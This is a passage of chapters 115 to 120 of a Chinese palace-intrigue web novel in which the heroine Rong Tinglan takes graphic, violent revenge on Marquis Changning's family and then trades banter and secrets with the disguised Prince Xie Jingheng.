《摄政王有八百个心眼子》 第115章 来送侯爷上路 第一百一十五章 来送侯爷上路 “看来十年前的事情侯爷清楚得很!” 容汀兰看着他这个样子,仇恨像是潮水一般涌上来。 她残影一闪。 刹那间,攥住了长宁侯的脖子,将他举了起来,“那么,就别怪我心狠手辣!” 长宁侯双脚离地,挣扎起来。 可是对方明明纤细、甚至尚显稚嫩的手,却像是铁钳一样紧扣着他的脖子,任凭他怎么挣扎,也都纹丝不动。 甚至,单手举起他一个接近两百斤的胖子,容汀兰居然眼睛都没眨一下! 恐惧席卷了长宁侯。 他瞪大眼睛,张大嘴巴,却呼吸不上来一点气。 而容汀兰也没打算直接把他捏死,而是往他嘴巴里丢了个药丸子进去,“今日,我就让你尝尝生不如死的滋味!” 说完,像是丢垃圾一样,将他甩在了地上。 长宁侯被呛得眼泪涌了出来,腿骨断裂,瘫在地上爬不起来。 本能告诉他,应该把那东西吐出来。 可等真正反应过来的时候,已经晚了。 那药入口即化,如今已经渗透他的四肢百骸,一股奇痒无比的感觉,爬上四肢百骸。 “你给我下了荨麻丸?” 熟悉的感觉,犹如身坠万蚁之窟,亦如闪电遍袭全身激得他毛骨悚然。 一瞬间,所有的巧合都有了答案! 近日发生的桩桩件件,在这一刻串联起来。 他愕然看向容汀兰,惊呼道:“所以,这几天所有的事情,背后都是你在推波助澜?” “是你给曲莹莹下了毒?” “又是你,借给祝老夫人解毒,引导我们去找你支付天价诊金的同时,打草惊蛇,让皇上犹如惊弓之鸟,所以在我不得已进宫祸水东引的时候,他想都没想到就答应了?” 之前,他还以为这一切阴差阳错,正好让皇帝因为镇南侯府的事情坐立不安,给他腾出时间去处理税金的事情。 却没想到,这一切都在容汀兰的算计当中! “也是你,”身上的瘙痒让他扭 动起来,气喘吁吁却又恨意迸发,“让祝尚书告老还乡,引导皇上去刺杀他。” “你留下证据,又用大内侍卫替换掉了沈寒秋,撬动舆论,借百姓之力扭转乾坤,使皇上威严扫地?” 长宁侯细思极恐,盯着面前十几岁的少女,瞳孔都颤抖起来,“大理寺门外的公审,你的目的不只有对我裴家,还有挑拨二皇子和太子争锋,让皇上在百姓面前失去公信力,好顺理成章牵出镇南侯府的案子!” “你小小年纪,居然如此心思缜密!” 长宁侯惊呆了。 他不敢相信,曾经那个老实忠厚的镇南侯和温柔至极的绛雪夫人,怎么会养出一个这样工于算计,在短短几日就将大半个朝堂算进去的女儿! 容汀兰冷眼打量着他,“那还得拜侯爷所赐,若非十年前灭门血案,如今我也应该和沈寒秋成婚,生儿育女了。” 长宁侯迎上她的眼神,只觉得对方年纪小,却犹如神邸睥睨凡尘。 那种冰冷漠然,竟然让他都感到胆寒。 他跌坐在地上,浑身的血都凉了下来。 “所以,你此番前来,是来复仇的。” 他看透了容汀兰,“你的目标是皇上,是京城所有人!” “你说得对,可对你而言,已经晚了。” 容汀兰打量着他扭曲,翻滚,将自己的衣服撕成碎片,挠出一条条血迹的模样,眼底一片清冷,“我今日来,是送侯爷上路的。” 长宁侯如坠冰窖,双眼泣血,“我想过慕夫人可能就是镇南侯府的人,可是又觉得不可能,毕竟那是珩王府……” “珩王犯不着趟着浑水。” 他盯着容汀兰,“你是容汀兰这个事情,谢景珩知道吗?” “侯爷觉得呢?” 容汀兰脸上挂着冷冷的笑意,像是清冷的月色,“我觉得,您与其琢磨这个,不如想一想,该怎么保住你儿子,和你孙子。” 她扭头,朝着河边吹了一声口哨,嘴角勾起笑意。 那笑意灿烂、明亮,像是万千灯火照亮了夜晚的湖水,繁华却森然。 长宁侯生生打了个寒颤。 而不远处的河边,裴元修听到口哨声,本能地被吸引,拎着水壶往这边走来。 “父亲,你怎么了?” 远远地,他看见长宁侯在地上打滚,而他的儿子正呆呆地站在树下,似乎是尿了。 可容汀兰站在一刻巨树背后,他没看见。 逐风在树梢上,悄无声息。 长宁侯张嘴,想要提醒他别过来,快跑。 可容汀兰的目光落在他脸上,他被那种森然嗜血的目光笼罩,整个人如坠地狱,一时间竟是没能发出任何声音。 裴元修拎着水壶走了过来,又问了一遍,“父亲,你……怎么了?” “裴世子,别来无恙。” 容汀兰从树后走出来,目光笑笑的落在他脸上,却冷得瘆人。 裴元修瞪大了眼睛,手上的水壶掉落在地,“你、你、你,你到底是谁?” 熟悉的脸,让他想到了绛雪夫人,想到了容采薇! 不可能是绛雪夫人! 也不可能是容采薇! 这么年轻,这个年纪…… 裴元修胸膛起伏,一副活见鬼的表情,“你到底是谁?容白芷?还是容汀兰?” “你猜。” 容汀兰走向他,脚步轻快,笑起来像个天真无邪的少女,只是在这样的场景之下,越发骇人了。 十年血仇埋在心头。 今日和仇人面对面,容汀兰的眼睛红了,犹如泣血的瞳孔透出笑意,配上一张过于稚嫩的脸庞,犹如一个不谙世事,却以夺人性命为乐的魔女。 裴元修下意识后退。 容汀兰步步逼近,朝着他走去。 脸上挂着笑,嗓音也笑盈盈的,“裴世子可真是演戏的行家啊,当年追我阿姐的时候,像条狗一样在我容家大门口摇尾巴。” 明明还有两三米远。 可就在她话音落下的那个瞬间,却刹那来到了裴元修面前,如同鬼魅。 “啪!” 一个耳光狠狠扇在裴元修脸上。 她脸上的笑意消失,被嗜血杀意代替,“一条狗而已,你怎么敢回头噬主的!” 裴元修满嘴的牙掉落一地,就连脸上的面具,也都被打掉了。 他在原地转了五六圈才晕头转向地倒在地上,传来骨头的咔嚓声,他的脖子快扭断了。 面前少女的容颜变得模糊,犹如索命的厉鬼。 仿佛变成了容采薇,又变成容白芷,又变成了绛雪夫人,恐惧将他笼罩。 “你、你——” 他结巴着不知要说点什么好,只是下意识地往爬走,仿佛这样就能躲过一劫。 容汀兰的身影,在刹那间逼近。 第116章 若能阖家团圆,谁要这快意恩仇? 第一百一十六章 若能阖家团圆,谁要这快意恩仇? 一脚踩在了他的脸上,脚下一旋,将他的脸狠狠碾在沙路上,抹掉半张脸。 容汀兰蹲了下来,拽起他的头发,看着他半张血淋淋的脸,笑,“你喜欢曲莹莹,也没有人拦着你娶她。” “可你,为什么来沾染我的阿姐呢?” 她的语调温柔,是因为提起了阿姐。 可是恨意却因容采薇这些年受的苦而倍增。 嘴角上扬,她露出这世间最迷人的微笑,手起刀落之间,一把匕首扎在了裴元修双 腿 之间! “啊!” 裴元修发出一声惨绝人寰的尖叫。 鲜血染红了裤裆,他疼得面容扭曲,滚做一团,涕泪俱下,“魔鬼!你就是一个魔鬼!” “与令尊与裴世子相比,还是要差一点。” 容汀兰冷笑,从他身上经过,一脚踩在他伤口上。 裴元修又蜷成了一只血淋淋的虫子。 这边的动静,惊动了曲莹莹。 她跳下马车循声看向这边,在看到倒地不起的裴元修,和在地上打滚的长宁侯时,连自己的儿子都顾不上,转身就跑。 “世子妃这是要去哪儿?” 逐风抱着剑,拦住了她的去路。 他一身玄衣,脸上带着个白色的微笑面具,看上去滑稽又喜感,声音也不算凌厉,可是听在此刻的曲莹莹耳中,却犹如阎罗索命。 曲莹莹下意识的后退,“你、你、你你们要干什么?” 她的冷汗已经冒了出来。 刚刚裴元修那一声惨叫穿透耳膜,在此刻看到逐风时,那惨叫似乎有了回声,撞进她的灵魂深处,一种极致的恐惧涌了上来。 她慌不择路,退了两步跌倒在地。 “自然是,找世子妃算账。” 逐风冷笑一声,刹那间上前。 曲莹莹还没反应过来,只觉得前方一道残影闪过,下巴上传来剧痛。 下一刻,熟悉的刺痒感遍袭全身。 男人半蹲在她面前,俯视她的样子看上去甚至有些暧昧,他的手极其好看,令人心跳絮乱。 可身上传来的痒感,却让她肝胆俱裂。 她惊恐地瞪大眼睛,“你给我下毒?之前那个毒就是你们下的?” 容汀兰连废两人,举步走向了她。 “真聪明。” 她笑着看向曲莹莹,“世子妃好好享受吧,这是你应得的报应。” 曲莹莹如坠冰窖,看着面前那天仙一样美丽,眼神却冷得像是修罗一般的女子,一股极致的后悔涌上心头。 容采薇本就是弃子。 早知如此,就应该让她自生自灭,而不是给她下毒,引来这地狱一般的报复与折磨。 “我错了,求你放过我好不好?” 因为曾被荨麻丸折磨得死去活来,那种痛苦早就摧毁了她的意志力。 她竟是当场道歉,眼底蓄满泪水,看上去我见犹怜,“如果给我重来一次的机会,我绝对不会给容采薇下毒的!” “求你,给我一个痛快,好吗?” 她的嗓音颤抖着。 若换个地方,换个男人,多半会心动,会怜惜,会放过她。 可她面对的,是容汀兰。 十年前的血案,容采薇所受的折磨,都让她愤怒,恨不得将这家人碎尸万段。 “不好。” 容汀兰盯着她,眼底恨意不曾消散,“我阿姐从中毒到今日,在裴家后院蹉跎了好几年。” “而你,不过才刚刚中毒而已。” “你就好好享受吧。” 她说着,给了逐风一个眼神。 逐风会意,砍下边上藤条。 曲莹莹本想着干脆跳下河水淹死算了。 可还没来得及呢,就被逐风像是拴狗一样,拴在了树上。 她挣脱不开,也不能伸手去挠痒痒,把自己难受得仰天惨叫,生不如死。 紧接着,长宁侯和裴元修也被拖了过来。 三人像是狗一样,在地上翻滚,求饶。 容汀兰背对着他们,毫无反应。 比起镇南侯府的灭门惨案,这一切微不足道。 “我只有一个请求,求你放了我的孙儿!”长宁侯双眼泣血,猩红的眼珠子几乎要从瞳孔里崩出来,却还惦记着那个孩子。 “你若能放过他,我告诉你一个天大的秘密!” 他气喘吁吁,难受到崩溃,却还是努力组织语言,希望能说服容汀兰。 容汀兰扭头看向他,冷笑,“你该不会是想说,先皇是皇上毒杀的吧?” “真不巧,我已经知道了。” “而且,你为他求情,他可未必愿意放过你。” 容汀兰说着,突然笑了。 她看向那个栽倒在地,已经吓尿了的孩子,“想要我放过你也可以,去把他们都杀了。” 她递给了那个孩子一把刀。 本来只是吓唬他。 若他害怕,抹掉他的记忆让他自生自灭去算了。 却没想到,那孩子看似懦弱,在拿到武器的那一刻,眼底却涌现出一股极其凶狠的表情,竟然扭头毫不犹豫给了长宁侯一刀! “爷爷,对不起。” 血溅了他一脸。 他眨了眨眼,眼底却露出狼一样的凶光,“你也希望我活下去对不对?只要杀了你,我就可以活下去。” 他笑了起来,又一刀扎进了长宁侯的胸膛。 长宁侯疼得面目扭曲,不可置信地看着自己的孙儿,“你——” “对不起。” 那孩子嘴上说着对不起,捅刀子的力道,却反而更重了。 容汀兰看着这一幕,感到讽刺,“长宁侯府的门风,果真叫人刮目相看。” 长宁侯已经痛得说不出话来了。 那小崽子杀人不往要害上去,一刀一刀下去,不致命却能让人生不如死。 “他在故意演给你看。” 逐风皱眉,看了眼容汀兰,“这个孩子留不得。” 容汀兰又何尝看不出来? 他不是不知道如何快速杀死一个人,他在献媚,企图用虐杀自己的亲人,换取自己的一条活路。 这样的人,留着也是祸害。 容汀兰手起刀落。 那个孩子的脑袋滚了出去。 她深深瞥了眼长宁侯,讽刺道:“还有点时间,侯爷再看看这最后的人间吧。” 话音未落,寒光一闪。 长宁侯的舌头不见了。 逐风出手,曲莹莹和裴元修的舌头,也掉在了地上。 “走。” 容汀兰没再理会他们,转身去往珩王府。 她不怕自己的身份泄露。 因为裴家三人都不能说话,而那毒是会传染的,正常人都不会靠近,即便是靠近了,等待他的也只有跳河自尽。 因为,这一次的荨麻丸,用量是上次的十倍,并非寻常人可以承受。 而此处,又是密 林。 “裴家走到这一步,少主的仇也算是报了一些,”逐风看向容汀看,努力安慰她,“等所有的事情结束之后,就可以好好生活了。” 容汀兰微微点头,去药铺了买了一些草药回去交差。 走出好远,才沉沉道:“其实,我并没有感觉很好。长宁侯府是完了,但是我的亲人,也不可能活过来了。” 若能阖家团圆,谁要这快意恩仇? 第117章 再见慕容 第一百一十七章 再见慕容 逐风不知如何安慰他。 “我虽然不懂你的难过,但……可以听你说出来。”逐风看向她,眼神有些迷茫。 他没有过去的记忆,只有跟随容汀兰之后的经历,这些经历很寻常,即便是有波澜,也是容汀兰自己要承受的,和他其实关系不大。 对他而言,最大的波澜…… 大概就是被月玲珑捉弄时,追着她满院子跑了吧。 容汀兰正要说自己没事。 前方树林间,忽而飘来一道笑声,“他不懂你可以来找本公子啊,本公子懂。” “谁?” 容汀兰悚然一惊,下意识看了眼身后。 为了保密安全,长宁侯等人剑走偏锋,选了极其偏僻的小路,按理说不会有人来。 却没想到,她刚刚走出去不到两里路,就冒出一个不速之客。 对方的声音与风声糅杂在一起,不甚清晰。 可当人出现在眼前时,容汀兰却认出了他,“慕容公子?” 她的脸色有些难看,目光定定落在了这个男人脸上,充满警惕。 上次她去救祝文瀛的时候,这个男人就悄无声息地出现在身后,杀了一个黑衣人。 现在,她来杀长宁侯,这个人又了冒出来。 和上次一样,他手上又提着个半死不活的人,好像又是帮她善后的。 可世上真的会有这种莫名其妙的好人吗? 容汀兰不会那么天真。 她面色不善,紧盯着这个人,“阁下是在监视我?” 说话间,她给逐风使了个眼色。 逐风走出去十几步,拦住那人去路。 三人之间的气氛,瞬间紧绷起来。 容汀兰不敢大意,直接拿出了毒药,“今日,慕公子若是不把话说清楚,就别怪我不客气。” 对面,黑衣公子一看她这凶狠的样子,嘴角一抽忙道:“你等等!有话好说!” 容汀兰蹙眉,暂时没下毒。 黑衣公子见她稍微冷静些许,无语道:“我说小姑娘,本公子这是第二次帮你除掉尾巴了,你不说谢谢我,还要给我下毒,你还有没有良心啊?” 容汀兰不吃他这一套。 “你若不跟着我,怎会知道我有尾巴?” 对方气息隐匿,脸上像是有一层薄雾似幻非幻,看不清真容。 现在,这个人拿捏住了她致命的七寸。 她不会轻易放他走。 若打不过,那就下毒。 她的神经紧绷到了极致,甚至怀疑眼前此人就是最近天天夜闯王府,欺负她和谢景珩的那采 花贼! 想到这里,更火大了。 黑衣公子见她气鼓鼓的样子,赧然。 他真的没想到,自己出来帮她扫尾,这小姑娘居然完全不领情,还一副要杀他灭口的样子。 但看她气鼓鼓的样子,他还是忍不住笑了。 于是,逗她道:“窈窕淑女君子好逑,本公子喜欢你,追着你没什么问题吧?” 这话确实让容汀兰措手不及。 “你我不过是陌生人,你喜欢我什么?” 她盯着他,声音硬邦邦的。 别说情意了,那眼神怕是想一眼皮子夹死他。 黑衣公子汗颜,“你这也太不讲道理了,喜欢一个人是自己的事情,我觉得你好我就喜欢你。” 容汀兰不想跟他讲歪理,“你再多说一个字,我就毒死你。” “……” 黑衣公子见她又举起了药瓶,赶紧道:“好好好,说正事!” 容汀兰盯着他,倒要看看他能说出个什么一二三来。 黑衣公子颇为无语,四下一扫道:“姑娘只知此处幽静人迹罕至,你的毒会传染,一般人不敢靠近。” “但你终究刚来瀛洲没几天,对很多人还是不了解。你可以钓鱼算计别人,别人也会反过来放长线钓你。” 他说着,瞥了眼地上那人。 把他一脚踹到容汀兰跟前,“这是大内侍卫,身上带着特殊的东西,可以隐藏气息,除非你提前将此处排查一遍,否则根本不可能发现他的存在。” “你对长宁侯等人做的事情,他看得一清二楚。”黑衣公子正色,看向容汀兰,“瀛洲没有表面上看上去的那么简单,你太不小心了。” 他的语调里,泄露出一丝丝担忧。 容汀兰眉心紧皱,心情复杂。 她低头看了眼地上那人,“他没死?” “只是晕过去了,”黑衣公子看向这边,“幸好只是晕过去了,不然本公子百口莫辩,你不得认为我自导自演?” “……” 容汀兰无语,她的确有这个怀疑。 “我看看,”逐风上前,挑开那人身上的衣服,“若是大内侍卫,后背必定有特殊标记。” 然而话音未落,便愣住了。 “真的是大内侍卫。” 扭头看向容汀兰,逐风脸色凝重。 容汀兰脸色有些难看。 她的确低估了皇帝。 她本以为,皇帝现在自身难保,很多事情堆积在一起,他能把长宁侯等人送出来便已经是极致,不会再留后手。 却没想到…… 正自责呢,前头传来黑衣男子略带严肃的声音,“他不是皇帝派来的。” 容汀兰看向他。 黑衣公子的目光落在她脸上,虽然面容依然不甚清晰,但很明显没了吊儿郎当的意思,“皇宫当中,除了皇帝之外还有羑洲的高手。” “此人,是祭司殿派来的。” “……” 容汀兰愕然。 十年前镇南侯府出事的时候,瀛洲压根没有祭司殿,大祭司要做的那些事情,都被钦天监给管了。 而那时候,钦天监在礼部之下。 现如今,皇帝不想把礼部变成了个空壳子,单独建了祭司殿,这都是容汀兰离开瀛洲之后的事情。 她对此一无所知。 “大祭司是羑洲来的?” 容汀兰看向黑衣人,“他为何盯着我?” “因为,你有天眼。” 黑衣人没有隐瞒,语气是前所未有的严肃,“挖了你的天眼,夺取你的血脉,对他而言、甚至是对任何人而言,都是可以一飞冲天的好运。” 容汀兰心头一沉。 “那么阁下呢?” 她紧盯着这个人,“你不想要我的血脉,不想要我的天眼吗?” “……” 黑衣人无语,“我没有夺取别人的身体残肢的癖好。” “……” 容汀兰心情复杂,“你是燕龙人?还是羑洲人?为何跟着我?又为何帮助我?” 在黑衣人说话之前,她提醒了一句,“这一次,我不想再听到你喜欢我之类的废话。” 黑衣人:“……” 她是不是对别人喜欢她过敏? 在珩王府的时候,明明看着他冒星星眼了,这会儿换个装束出来,她就一脸凶残警惕。 第118章 本王的长兄,他其实并没有死! 第一百一十八章 本王的长兄,他其实并没有死! 还带威胁的。 到底是偏爱谢景珩,还是在珩王府演得太逼真? 一时间,他自己都快分不清了。 但他还是说了一部分实话,“姑娘若是对二十年前的事情有所了解,便会知道慕容这个姓氏的故事。” 容汀兰骇然,“前朝皇族?” “你不叫慕容,是复姓慕容?” 容汀兰这才反应过来,上次对方压根没说全名,只说了一个姓。 黑衣人点头,“姑娘慧眼,本公子乃前朝皇族后裔,来瀛洲的目的,与姑娘一致。” “所以,你也不必如此防着我。” 嘴上这么说着,心下却只唏嘘—— 想和这小狼崽子建立信任关系真难。 谢景珩不行,他也不行。 到底要怎么样? 但他这个答案,的确足够叫人信服。 容汀兰闻言,略微放松下来,“所以,你跟着我,是想与我合作?” 见她稍微没那么炸毛了。 黑衣人微笑,“本公子心悦姑娘……方才才说过。” 容汀兰却不相信,“这话公子就不必说了,你既然跟着我,便知道三年后我即将嫁给谢景珩。” “所以,我不如谢景珩?” 男人有些无语。 他这是又被拒绝一次? 上次,他暗示容汀兰与他在一起,容汀兰说自己要为他的长兄谢景渊守孝,把他给拒绝了。 这一次,他换个身份出来。 结果,她用他上个身份拒绝了她? 敢情他现在三个身份还相互掐了起来,互为挡箭牌是吧? 不过,他的脸容汀兰看不清。 自然不知道他是谢景珩本人,也看不清楚他什么表情,但她绝不会随便靠近这种危险分子。 于是义正言辞道:“我既已经答应了他,就不会再接受任何人。公子想与我合作对付萧氏皇族我没意见,但若是私人感情,就别提了。” 小姑娘声音悦耳,但是语气实在是不怎么好。 硬邦邦的,不知道的还以为他们有仇呢。 男人深呼吸,最后只能看了眼地上那人,“我帮你两次,怎么说?” 这小姑娘真难搞。 容汀看也很郁闷。 一是,她两次出来,关键时候都有人漏网。 二是,两次都被同一人撞上,被人抓住把柄不说,还挟恩图报。 “你想要什么?” 她抬头,看向对方。 男人眨眨眼,他想说自己想要她。 又怕被打。 虽然容汀兰和逐风两人未必打得过他,但是如果她下毒呢? 而且,他也不是来打架的。 于是,只好找借口道:“我还没想好我想要什么,但是瀛洲局面复杂,暗潮涌动。你我既然目标一致,那相互照应总可以吧?” “下次,我若遇上危险,你必须出手。” 他看向容汀兰,“无论到时候是何种情况,你都不能丢下我不管。” “……” 容汀兰无语,“若你传讯,我必定出手。” “但你也不要把话说得这么肉麻,什么叫我丢下你不管?我和你没有任何别的关系。” 太诡异了。 这话从这男人口中说出来,味道怪怪的。 黑衣公子:“……” 此刻他才意识到,这小丫头的温柔可人,只在那个叫“谢景珩”自己面前有啊! 无语之余,一股窃喜涌上心头。 “行,那一言为定。” 他脸上露出笑容,瞥了眼那个大内侍卫,“此人,便交给姑娘了。” “在下告辞。” 得,还是回家等着去吧。 免得在外面吃力不讨好。 他摇摇头,残影一闪人就不见了。 容汀兰目送他离去,眉心紧皱。 逐风也面色凝重,“慕容皇族居然还有人活着,那他岂不是想要颠覆超纲,拿回自己的天下?” 容汀兰心事重重,“他肯定不是来瀛洲的风土人情的就是了。” “可少主如今在珩王府,若到时候慕容氏与珩王府站在对立面上……” 逐风为此感到担忧。 谢景珩和容汀兰的关系不清不楚的。 慕容氏又说自己喜欢容汀兰。 到时候三角关系还不直接进入修罗场? 容汀兰也有些头疼,按住眉心道:“走一步算一步吧,现在也顾不上那么多了。” 眼看着时间不多,她直接杀了那个大内侍卫,带着逐风去买了一些草药,回去好交差。 …… 珩王卧室。 谢景珩换掉了身上的衣服,塞进暗格里。 暗影现身出来,“长宁侯死了吗?” “死是肯定要死了,”谢景珩坐下来,沏了一杯茶喝,“现场你再叫人处理一下吧,我觉得这样依然不妥,很容易干扰我们对曲家军的安排。不过,紫烟阁那位也让本王大开眼界,人前人后两幅面孔,也不知道哪一张是演的。” “……” 处理现场没问题,但后面这句话,暗影可不知怎么接。 反倒是琅琊好奇,从门口探进来一个脑袋,满脸八卦道:“爷,您该不会又被她拒绝了吧?” 综合之前的蛛丝马迹,琅琊感觉,谢景珩和容汀兰在玩一种过家家的游戏,不能更成熟了。 谢景珩白了他一眼,“你希望?” “那不敢!” 琅琊一怂,瞬间将脑袋缩了回去。 不出片刻,容汀兰回来了。 “夫人,王爷在屋里等您。”琅琊在门口立正,笑眯眯看向她。 容汀兰颇为无语。 她觉得珩王这个叫琅琊的侍卫很奇怪,每次看人都像是憋着一些她不知道的什么。 看得次数多了,让人想打他一顿。 她没理会琅琊,走进屋看向谢景珩,“要去大理寺了?” 男人随意坐在桌边,喝茶的模样的雅致矜贵,很是勾人。 像玉。 “嗯。” 他从桌上推过来一杯茶,“嫂夫人风尘仆仆,看起来有些疲倦,先坐下来喝杯茶吧。” 容汀兰点头,端起茶盏一口气喝下去大半杯。 是真渴了。 “这是去干什么了?” 谢景珩拿眼尾余光瞥她,假装什么也不知道。 容汀兰见他面色如常,也放心下来,找了个借口,“上次说给二皇子配药,缺了几味草药,不好卖。” 谢景珩装傻,“二皇子这几日,恐怕顾不上来找嫂夫人。” “为何?” 容汀兰亦装傻。 谢景珩:“……” 敢情,最后还是他先破功? “因为,有个黑心的人给他挖了个坑,他正忙着填坑呢。”扫了眼容汀兰,他暗戳戳把人骂了一顿。 容汀兰对号入座,很是无语。 她就不应该问他,最后只能装傻道:“他不来最好,我还省了麻烦。” 谢景珩闻言一乐,目光落在她脸上,嘴角上扬,“嫂夫人是不是天生对男人有些排斥?” “没有,”容汀兰摇头,“弱水三千只取一瓢饮,我既然曾与景渊相知相爱,便不会再对别的男人动心。” 她演得一本正经。 谢景珩没忍住,忽而往前一靠,凑近她低声说了句,“其实,有个秘密本王一直没告诉你。” 容汀兰一愣,“什么秘密?” 谢景珩勾唇,“本王的长兄,也就是您的丈夫,他其实并没有死!” “什么!” 容汀兰腾一声,站了起来。 第119章 谢景珩真的很温柔 第一百一十九章 谢景珩真的很温柔 若谢景渊还活着,那她冒充谢景珩的长嫂这件事情,岂不是很快就会穿帮? 还是已经穿帮了? 一瞬间,容汀兰的神经紧绷到了极致。 面前的茶盏被打翻,从桌上掉了下去。 谢景珩抬手,精准接住,一本正经道:“我说,您的夫君他还活着。” 毕竟,谢景渊就是他假扮的。 容汀兰冒充谢景渊的妻子,那不就是冒充珩王妃么? 谢景珩觉得,这个逻辑没有一点问题。 饶是容汀兰内心还算强大,此刻也是汗流浃背了,看着他有些失神得问道:“他人在哪里?” “嫂夫人想他?” 谢景珩憋笑,拉着她坐下来,“他说过阵子回来,却没说具体什么时候。” 容汀兰更紧张了。 她冒充谢景渊的妻子,就是因为谢景渊已经死了,死无对证。 可现在,他又诈尸活了过来! 那岂不是只要他一出现,自己就露馅儿了么? 还有,现在她人已经进了珩王府,想要再走不切实际,而且事已至此,再想换个身份回来难上加难…… 所有的事情,一股脑全都涌进了她的脑袋。 容汀兰只觉得,自己脑子嗡嗡的。 谢景珩本想要逗她一下。 但看她吓成这样,又于心不忍,道:“只不过,以我对他的了解,他就算是回来,也得一两年之后了。” “这样啊……” 容汀兰挤出一个笑。 可笑容明显很牵强了,“那你知道他去哪儿,干什么去了吗?既然活着,为何要诈死呢?” 真是没想到,这背后居然还藏着事情! 容汀兰强迫自己冷静下来,尽量打听。 谢景珩闻言,琢磨着措辞,道:“他去做一件很危险的事情了,所以也可能回不来。” 说着,朝着她露出笑容,牵住她搭在桌上的小手,“正因为可能回不来,所以写信告诉本王,如果三年后他还没回来,便让本王娶了嫂夫人。” 男人手指修长,温润如玉。 容汀兰的手放在他指间,显得小巧又无辜。 容汀兰的脸,猝不及防红了,结巴道:“可、可这不是还没到三年后吗,你、你不要胡来!” 倏地,她把手收了回去。 谢景珩意犹未尽,但也不好强求。 最后,笑着道:“当然,也不能保证长兄很快就会回来。” 要不,再试试谢景渊的身份呢? 他嘴角一勾,暗暗偷笑。 容汀兰的神经又紧绷起来,许久没说出话。 若谢景渊回来,她该怎么办? 若谢景珩知道她是个骗子,他会怎么对她? 容汀兰看向桌对面的男人,一时间心情复杂,看得竟然失了神。 她喜欢的人是谢景珩。 可是…… 所有的事情,都变成了一团乱麻。 鬼使神差的,她问谢景珩,“那……若是王爷有朝一日,知道我……” 话到一半,不敢说下去了。 “知道什么?” 谢景珩看向她,目光盈盈落在她脸上,微笑,“难不成,你背着本王与本王的长兄,在外面还有人吗?” “那倒没有!” 容汀兰摇头,“就是,有些事情不方便和王爷说……” 谢景珩喜欢逗她,却也不想让她太紧张,于是笑着敷衍了过去,“本王明白,男女之间有些有些话不方便说,嫂夫人也不必往心上去。” 他说着,话锋一转问道:“饿不饿?” “咕噜噜——” 容汀兰刚要说不饿,肚子叫了起来。 她不好意思地低下了头。 谢景珩失笑,叫琅琊送了一条烤鱼一碗米饭上来,“吃吧,吃完了去天牢。” 容汀兰点头吃饭。 她真的饿了,因为时间紧迫,她忙着去追长宁侯,又着急回来,中间别说是吃饭,便是喝口水的时间也都没有。 谢景珩看着她狼吞虎咽,默默地帮她把鱼刺挑走了。 容汀兰看向他,因为正在吃饭眼神显得无辜,清澈。 一双眼睛又大又亮。 她觉得谢景珩真的很温柔,还有些幽默,浪漫,体贴。 这么想着,忍不住开口,“王爷这么好的人,若那个女子有幸成为珩王妃,应该很幸福吧。” 他好温暖。 容汀兰不想承认,可心却告诉她,她渴望这个男人,希望和他生活下去。 就这样的日子。 像是一道光,照亮了她阴暗、冰冷的内心。 谢景珩心中一动,语调柔和下来,“若长兄不回来,嫂夫人便是珩王妃。” 嘴角上扬,他轻轻地问,“嫂夫人也会觉得幸福吗?” 门口,琅琊看着自家王爷二十一二的年纪,对着一个十五六岁的小丫头一口一个嫂夫人的,感觉画面诡异极了。 他觉得自家王爷像是狐狸。 而容汀兰看似很凶,却是个张牙舞爪的小 白 兔。 她甚至都不知道,自己跳进了王爷的陷阱,吃的粉腮鼓鼓的,不好意思道:“景渊也是很好的人……” 好难过。 早知道这样,她就不冒充谢景珩的嫂子了。 可若是不冒充谢景珩的嫂子,那珩王府会让她进来吗? 现在,谢景渊还活着,她却喜欢上了谢景珩。 容汀兰心情复杂,一时间也没吃出那鱼什么滋味。 谢景珩突然伸手,揉了揉她的脑袋,“即便是没有兄长,本王也会对嫂夫人温柔。” 容汀兰刷一下,脸红了。 她低下头,不敢看他的眼睛。 谢景珩失笑,看向窗外冒出新芽的树木,感觉心里暖融融的,似乎春天已经来了。 …… 午后。 容汀兰配了药,换上男装扮成谢景珩的侍卫,跟着他一起去大理寺。 “这样,不会被人认出来吧?” 她打量着自己,有些不太确定。 “不会。”谢景珩微笑,忽而觉得让她男装跟在自己身边,似乎是个很不错的选择。 她穿男装很好看。 只是两人站在一起,依然有种暧昧的情愫涌动着。 “喜欢一个人,真的是藏不住的。” 琅琊目送两人出门,摇了摇头,暗戳戳问暗影,“你有没有发现,王爷好像喜欢上了这个采 花贼?” 暗影:“……” 看了他半天,“木头也会开窍,难得。” 琅琊瞪眼,“你会不会说话呀?我什么时候不开窍了?” “算了,懒得跟你说话,我去找孤舟!” 说完,气狠狠出了门。 暗影叹了口气。 他能看见王爷对容汀兰的眼神不对,就看不见他看他的眼神? 说他木头,都侮辱木头了。 暗影翻了个白眼,心情不是很美妙,“难道是我说话太毒舌?” “罢了,先去办正事儿吧。” 顾不上想这些,暗影闪身离开,直奔皇宫方向。 与此同时。 容汀兰随着谢景珩,再一次来到了大理寺天牢。 门口,黄钊像个哈巴狗一样,正朝着谢景珩笑,“王爷,下官等您很久了。” 容汀兰看着他那张脸,几乎红了眼眶。 第120章 原来是大舅哥 第一百二十章 原来是大舅哥 谢景珩伸手,将她轻轻拉到身后,看向黄钊,“黄大人是在等着给本王开门?” 黄钊脸色有些难看。 他想说自己是来陪审的,可谢景珩却直接下了逐客令,“倒也不必这样繁琐,钥匙交给下面人就行了,黄大人请回。” “王爷,下官……想追随王爷,观摩王爷如何审案……” 他不肯走。 因为大内侍卫那边,肯定也有人知晓他的秘密。 万一被谢景珩知道…… 谢景珩顿住脚步,“黄大人想陪审也可以,但需要皇上的圣旨。你去问问他,看他是否想要黄大人来审。若是也想,麻烦亲自知会本王一声。” 黄钊:“……” 皇帝是被迫将大内侍卫交给谢景珩的。 又怎么可能有胆直接让别人来盯着谢景珩? 圣旨自然不可能有。 黄钊也没法跟着进去,最后只得退后,“那下官还是不进去了,王爷请。” 谢景珩冷哼一声,带着容汀兰大步流星进了天牢。 容汀兰攥紧拳头,想要回头。 谢景珩拉住了她的手腕,把她拽走了,“谋定而后动,不要回头。” 容汀兰一僵,忽而清醒过来,“……多谢王爷。” 只是,他什么意思? 掌心纤细的手腕有些僵硬,谢景珩敷衍过去,“黄钊是皇上的走狗,他今日是来监视我们的。” “你的任何一点异常,都会被他察觉。” 容汀兰点头,缓缓深呼吸一口气,放松下来。 听谢景珩这个说法,她以为他是怕她不小心暴露了自己是慕夫人的身份,毕竟这里是大理寺,即便她是珩王寡嫂,也不能轻易进入。 “我会小心。” 她压了对黄钊的恨意,快步跟上。 谢景珩松开了她。 门外。 